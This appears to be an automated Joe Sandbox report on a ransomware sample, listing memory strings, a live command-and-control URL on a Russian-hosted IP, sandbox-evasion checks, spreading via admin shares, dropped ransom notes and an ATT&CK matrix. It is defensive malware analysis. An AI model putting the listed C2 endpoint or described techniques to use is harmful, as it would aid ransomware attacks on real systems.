00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpnQ
Source: _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146130235.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146593085.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpr
Source: _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2138463076.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpx
Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/RS
Source: _145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/ows
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: _145.exe, 00000000.00000003.2460052995.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2150813269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2304552381.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2132952244.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2646935934.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3008853653.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2607320971.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2522280834.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2326143420.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3009346738.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091710763.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2097131637.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2129239269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168018595.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3003938424.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2451530052.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2774775573.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2602497993.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2797784667.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2110584513.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2092082325.0000000004778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: _145.exe, 00000000.00000003.2460052995.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2150813269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2304552381.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2132952244.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2646935934.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3008853653.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2607320971.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2522280834.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2326143420.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3009346738.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091710763.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2097131637.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2129239269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168018595.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3003938424.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2451530052.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2774775573.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2602497993.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2797784667.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2110584513.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2092082325.0000000004778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/N
Source: _145.exe	String found in binary or memory: http://api.ipify.orgx32x64%s
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://api.pJ;
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://d.docs.live.net
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://login.windows-ppe.net
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://petrol.offi;
Source: _145.exe, HOW TO BACK FILES.txt571.0.dr, HOW TO BACK FILES.txt661.0.dr, HOW TO BACK FILES.txt5.0.dr, HOW TO BACK FILES.txt974.0.dr, HOW TO BACK FILES.txt881.0.dr, HOW TO BACK FILES.txt13.0.dr, HOW TO BACK FILES.txt948.0.dr, HOW TO BACK FILES.txt624.0.dr, HOW TO BACK FILES.txt317.0.dr, HOW TO BACK FILES.txt323.0.dr, HOW TO BACK FILES.txt50.0.dr, HOW TO BACK FILES.txt366.0.dr, HOW TO BACK FILES.txt828.0.dr, HOW TO BACK FILES.txt169.0.dr, HOW TO BACK FILES.txt413.0.dr, HOW TO BACK FILES.txt882.0.dr, HOW TO BACK FILES.txt370.0.dr, HOW TO BACK FILES.txt307.0.dr, HOW TO BACK FILES.txt369.0.dr, HOW TO BACK FILES.txt773.0.dr	String found in binary or memory: https://www.torproject.org/download/

Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 1800000	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 7200000	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 18000000	Jump to behavior

Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\Users\user\Desktop FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: \Device\CdRom0\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: _145.exe, 00000000.00000003.2110067734.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245047160.0000000004E7B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2095863535.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146871586.0000000004E7B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2996841089.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2247133630.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091274630.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2121227815.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2258059115.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2276294552.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2908080429.0000000004E74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: _145.exe, 00000000.00000003.2058863822.000000000469F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\h

Source: C:\Users\user\Desktop\_145.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt VolumeInformation

Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\c$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\c$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\admin$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\c$\ozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\c$\ozon.exe	Jump to behavior

Source: C:\Users\user\Desktop\_145.exe	Directory queried: C:\Documents and Settings			Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Directory queried: C:\Documents and Settings			Jump to behavior

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	1 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	1 Masquerading	11 Input Capture	1 Network Share Discovery	1 Replication Through Removable Media	11 Input Capture	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	1 Service Execution	1 Bootkit	11 Process Injection	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Inhibit System Recovery
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Hidden Files and Directories	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Bootkit	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	12 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	13 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Source	Detection	Scanner	Label	Link
_145.exe	76%	ReversingLabs	Win32.Ransomware.GarrantDecrypt
_145.exe	100%	Avira	HEUR/AGEN.1319003

Source	Detection	Scanner	Label
http://91.215.85.142/QWEwqdsvsf/ap.phpx	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpr	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpC:	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpnQ	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpE	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.php?	100%	Avira URL Cloud	malware
http://api.ipify.orgx32x64%s	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpP	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpM	100%	Avira URL Cloud	malware
http://91.215.85.142/	100%	Avira URL Cloud	malware
https://api.pJ;	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpf	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.php_	100%	Avira URL Cloud	malware
https://d.docs.live.net	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.php	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpata	100%	Avira URL Cloud	malware
https://petrol.offi;	0%	Avira URL Cloud	safe
http://91.215.85.142/ows	100%	Avira URL Cloud	malware
http://91.215.85.142/RS	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpj	100%	Avira URL Cloud	malware

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api4.ipify.org	173.231.16.77	true	false		high
api.ipify.org	unknown	unknown	false		high

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report _145.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

(copy)

C:\$Recycle.Bin\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\HOW TO BACK FILES.txt

C:\$WinREAgent\HOW TO BACK FILES.txt

C:\EFI\HOW TO BACK FILES.txt

C:\EFI\Microsoft\HOW TO BACK FILES.txt

C:\EFI\Microsoft\Recovery\BCD

C:\EFI\Microsoft\Recovery\BCD.LOG

C:\EFI\Microsoft\Recovery\HOW TO BACK FILES.txt

C:\HOW TO BACK FILES.txt

C:\Program Files (x86)\HOW TO BACK FILES.txt

C:\Program Files (x86)\Java\jre-1.8\lib\deploy\ffjcext.zip

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\HOW TO BACK FILES.txt

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip

Windows Analysis Report
_145.exe

Name	Malicious	Antivirus Detection	Reputation
http://91.215.85.142/QWEwqdsvsf/ap.php	true	Avira URL Cloud: malware	unknown
http://api.ipify.org/	false		high

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
173.231.16.77	api4.ipify.org	United States		18450	WEBNXUS	false
91.215.85.142	unknown	Russian Federation		34665	PINDC-ASRU	true

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1337854
Start date and time:	2023-11-06 19:43:30 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	_145.exe
Detection:	MAL
Classification:	mal100.rans.spyw.evad.winEXE@16/1026@1/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Time	Type	Description
19:44:28	API Interceptor	6x Sleep call for process: _145.exe modified
19:45:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
173.231.16.77	QAnjEAcqUT.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Order_confirmation#28726.exe	Get hash	malicious	Typhon Logger	Browse	api.ipify.org/
	f18itb3RpL.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2eNUz808iz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	7wJT1mnw8F.doc	Get hash	malicious	Hancitor	Browse	api.ipify.org/
	12.exe1	Get hash	malicious	BTC, Conti, Neshta, RegretLocker, TrojanRansom	Browse	api.ipify.org/
91.215.85.142	Hhwsbefq.exe	Get hash	malicious	Targeted Ransomware	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	a.bin.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	ozon.bin.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	91.215.85.142/QWEwqdsvsf/ap.php
	4cGFnkiRf2.exe	Get hash	malicious	Targeted Ransomware	Browse	91.215.85.142/QWEwqdsvsf/ap.php

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api4.ipify.org	SecuriteInfo.com.Win32.PWSX-gen.7420.27815.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	AWB_9899691012_Clearance_Doc_pdf.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	173.231.16.77
	AWB_5032675620.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	IGCC.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	Payment_Application_#16.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	Request_For_Quotation_110623.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	new_invoice.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	ZBfBcB7c0a.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	Nota_de_credito.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.140.13932.rtf	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	Sat_nalma_sipari_i0635-2024.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	SecuriteInfo.com.Win32.PWSX-gen.24248.18304.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	kxSZBoK5rr.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	q2cnKcb6TT.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	ENQ_#_1220014088.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	Shipping_Doc_pdf.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	_Top_Urg.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	Invoice_INVO3446766.pdf.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	BL_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	Quotation_2300109_000035.bat	Get hash	malicious	AgentTesla	Browse	104.237.62.212

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PINDC-ASRU	kyK07kss3p.exe	Get hash	malicious	Stealc, Vidar	Browse	91.215.85.189
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	91.215.85.189
	https://index.support-bk-mufg.is/all/login.php?7667554de644f2fdb9c6cacc17f48b4f=7667554de644f2fdb9c6cacc17f48b4f	Get hash	malicious	Unknown	Browse	91.215.85.178
	file.exe	Get hash	malicious	Glupteba, SmokeLoader, Vidar	Browse	91.215.85.209
	inf.exe	Get hash	malicious	RedLine	Browse	91.215.85.23
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, SmokeLoader, Stealc	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, SmokeLoader, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, Raccoon Stealer v2, SmokeLoader, Xmrig	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, Raccoon Stealer v2, SmokeLoader, Vidar	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, Raccoon Stealer v2, SmokeLoader, Vidar	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	91.215.85.17
	file.exe	Get hash	malicious	Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse	91.215.85.17
WEBNXUS	SecuriteInfo.com.Win32.PWSX-gen.7420.27815.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	AWB_9899691012_Clearance_Doc_pdf.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	173.231.16.77
	AWB_5032675620.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	IGCC.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	Payment_Application_#16.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	https://in.xero.com/kWd6AZGUxKcnazGgSq8REUryHNaLamDhXyK5LyjU?utm_source=invoiceEmailPayNowButton#paynow	Get hash	malicious	Unknown	Browse	67.220.226.233
	Request_For_Quotation_110623.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	new_invoice.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	ZBfBcB7c0a.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	Nota_de_credito.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.140.13932.rtf	Get hash	malicious	AgentTesla	Browse	173.231.16.77
